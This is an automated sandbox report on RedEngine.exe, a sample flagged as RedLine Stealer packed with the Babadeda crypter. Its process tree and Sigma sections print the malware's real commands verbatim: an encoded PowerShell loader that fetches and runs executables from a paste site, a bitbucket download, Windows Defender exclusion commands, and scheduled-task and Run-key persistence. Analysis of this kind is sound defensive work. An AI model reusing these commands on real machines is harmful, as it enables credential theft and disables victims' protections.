Edit tour

Windows Analysis Report
RedEngine.exe

Overview

General Information

Sample name:	RedEngine.exe
Analysis ID:	1504561
MD5:	4fbb04c9e3aa983cbfc4980a7b5b7041
SHA1:	34aeca658462e638521bc384a4935251678a9a78
SHA256:	24f095f4f5796561cc9f9c60f71a2182fee89692f239c92e7447af3461e12731
Tags:	exe
Infos:

Detection

Babadeda, RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (overwrites its own PE header)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule VBS From Appdata

Suricata IDS alerts for network traffic

Yara detected Babadeda

Yara detected Powershell download and execute

Yara detected RedLine Stealer

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Adds extensions / path to Windows Defender exclusion list

Command shell drops VBS files

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to infect the boot sector

Encrypted powershell cmdline option found

Found pyInstaller with non standard icon

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Potential dropper URLs found in powershell memory

Powershell drops PE file

Sigma detected: Net WebClient Casing Anomalies

Sigma detected: PowerShell DownloadFile

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to download and execute files (via powershell)

Uses cmd line tools excessively to alter registry or file data

Uses schtasks.exe or at.exe to add and modify task schedules

Very long command line found

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Enables security privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Installs a raw input device (often for capturing keystrokes)

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sleep loop found (likely to delay execution)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

RedEngine.exe (PID: 7660 cmdline: "C:\Users\user\Desktop\RedEngine.exe" MD5: 4FBB04C9E3AA983CBFC4980A7B5B7041)

powershell.exe (PID: 7768 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAbAB3ACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGEAdAByACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAHIAbwByACAAIwA4ADEAOQA6ACAAQwBhAG4AbgBvAHQAIABzAHQAYQByAHQAIABkAHUAZQAgAHQAbwAgAG0AaQBzAHMAaQBuAGcAIABkAGUAcABlAG4AZABlAG4AYwBpAGUAcwAsACAAcABsAGUAYQBzAGUAIABpAG4AcwB0AGEAbABsACAAYQBsAGwAIAB0AGgAZQAgAGQAZQBwAGUAbgBkAGUAbgBjAGkAZQBzACAAcgBlAHEAdQBpAHIAZQBkAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAGIAcQBzACMAPgA7ACIAOwA8ACMAZQBtAHYAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB1AGoAZgAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB1AHEAbQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB3AHcAeAAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAbgB0AHIAeQAuAG8AcgBnAC8AcABhAG4AYwBlAGsANgAxADEAMQAxADEAMQAxADEAMQAxADEAMQAxAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBtAGMAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGoAbQBpACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGkAZwBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwB2AGkAeAAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AGUAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdgB2AHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAHgAbABpACMAPgA=" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7968 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#atr#>[System.Windows.Forms.MessageBox]::Show('Error #819: Cannot start due to missing dependencies, please install all the dependencies required.','','OK','Error')<#bqs#>; MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mgne4i3n.t1d0.exe (PID: 3024 cmdline: "C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe" MD5: 6B1712C45B98661A7BDBC0E458660392)

conhost.exe (PID: 6616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mgne4i3n.t1d1.exe (PID: 6160 cmdline: "C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe" MD5: 646A4B7082185499D3682C4FD27F44D0)

cmd.exe (PID: 968 cmdline: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\E8C.tmp\E8D.tmp\E8E.bat C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7736 cmdline: chcp 1251 MD5: 33395C4732A49065EA72590B14B64F32)

findstr.exe (PID: 7780 cmdline: findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 7684 cmdline: findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 7696 cmdline: findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

schtasks.exe (PID: 7764 cmdline: schtasks /query /tn "MyBatchScript" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7828 cmdline: schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\user\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 4948 cmdline: C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

reg.exe (PID: 8052 cmdline: reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 1916 cmdline: C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

reg.exe (PID: 368 cmdline: reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop MD5: 227F63E1D9008B36BDBCC4B397780BE4)

powershell.exe (PID: 1316 cmdline: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')" MD5: 04029E121A0CFA5991749937DD22A1D9)

tasklist.exe (PID: 424 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 6028 cmdline: find /i "tf_win64.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

taskkill.exe (PID: 8060 cmdline: taskkill /f /im tf_win64.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

tasklist.exe (PID: 4580 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 4304 cmdline: find /i "dota2.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

taskkill.exe (PID: 3740 cmdline: taskkill /f /im dota2.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

tasklist.exe (PID: 5192 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 5204 cmdline: find /i "cs2.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

taskkill.exe (PID: 7076 cmdline: taskkill /f /im cs2.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

tasklist.exe (PID: 5344 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 6900 cmdline: find /i "RustClient.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

taskkill.exe (PID: 7356 cmdline: taskkill /f /im RustClient.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

tasklist.exe (PID: 7688 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 4708 cmdline: find /i "GTA5.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

taskkill.exe (PID: 2468 cmdline: taskkill /f /im GTA5.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

tasklist.exe (PID: 4260 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

mgne4i3n.t1d2.exe (PID: 1548 cmdline: "C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe" MD5: BECE6335063D21401AA6A807202A201C)

mgne4i3n.t1d2.exe (PID: 2168 cmdline: "C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe" MD5: BECE6335063D21401AA6A807202A201C)

cmd.exe (PID: 4240 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe','.py'"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8044 cmdline: powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\user\AppData" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 4232 cmdline: powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\user\Local" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 4184 cmdline: powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe','.py'" MD5: 04029E121A0CFA5991749937DD22A1D9)

OpenWith.exe (PID: 576 cmdline: C:\Windows\system32\OpenWith.exe ""C:\Users\user\AppData\Roaming\runHidden.vbs"" MD5: E4A834784FA08C17D47A1E72429C5109)

svchost.exe (PID: 7972 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

clppth.exe (PID: 6828 cmdline: "C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe" MD5: BECE6335063D21401AA6A807202A201C)

clppth.exe (PID: 5896 cmdline: "C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe" MD5: BECE6335063D21401AA6A807202A201C)

clppth.exe (PID: 6000 cmdline: "C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe" MD5: BECE6335063D21401AA6A807202A201C)

clppth.exe (PID: 3364 cmdline: "C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe" MD5: BECE6335063D21401AA6A807202A201C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Babadeda	According to PCrisk, Babadeda is a new sample in the crypters family, allowing threat actors to encrypt and obfuscate the malicious samples. The obfuscation allows malware to bypass the majority of antivirus protections without triggering any alerts. According to the researchers analysis, Babadeda leverages a sophisticated and complex obfuscation that shows a very low detection rate by anti-virus engines.	No Attribution	https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities	https://malpedia.caad.fkie.fraunhofer.de/details/win.babadeda

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
C:\Users\user\AppData\Local\Temp\E8C.tmp\E8D.tmp\E8E.bat	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000B.00000002.1678511629.0000000002471000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: powershell.exe PID: 7768	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: mgne4i3n.t1d0.exe PID: 3024	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: mgne4i3n.t1d1.exe PID: 6160	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 1316	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
13.0.mgne4i3n.t1d1.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
13.2.mgne4i3n.t1d1.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_7768.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_1316.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Net WebClient Casing Anomalies

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAbAB3ACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGEAdAByACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAHIAbwByACAAIwA4ADEAOQA6ACAAQwBhAG4AbgBvAHQAIABzAHQAYQByAHQAIABkAHUAZQAgAHQAbwAgAG0AaQBzAHMAaQBuAGcAIABkAGUAcABlAG4AZABlAG4AYwBpAGUAcwAsACAAcABsAGUAYQBzAGUAIABpAG4AcwB0AGEAbABsACAAYQBsAGwAIAB0AGgAZQAgAGQAZQBwAGUAbgBkAGUAbgBjAGkAZQBzACAAcgBlAHEAdQBpAHIAZQBkAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAGIAcQBzACMAPgA7ACIAOwA8ACMAZQBtAHYAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB1AGoAZgAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB1AHEAbQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB3AHcAeAAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAbgB0AHIAeQAuAG8AcgBnAC8AcABhAG4AYwBlAGsANgAxADEAMQAxADEAMQAxADEAMQAxADEAMQAxAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBtAGMAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGoAbQBpACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGkAZwBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwB2AGkAeAAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AGUAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdgB2AHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAHgAbABpACMAPgA=", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAbAB3ACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGEAdAB

Sigma detected: PowerShell DownloadFile

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')", CommandLine: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\E8C.tmp\E8D.tmp\E8E.bat C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 968, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')", ProcessId: 1316, ProcessName: powershell.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')", CommandLine: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\E8C.tmp\E8D.tmp\E8E.bat C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 968, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')", ProcessId: 1316, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe, ProcessId: 2168, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\CLPPTH

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7768, TargetFilename: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe

Sigma detected: PowerShell Download Pattern

Source: Process started

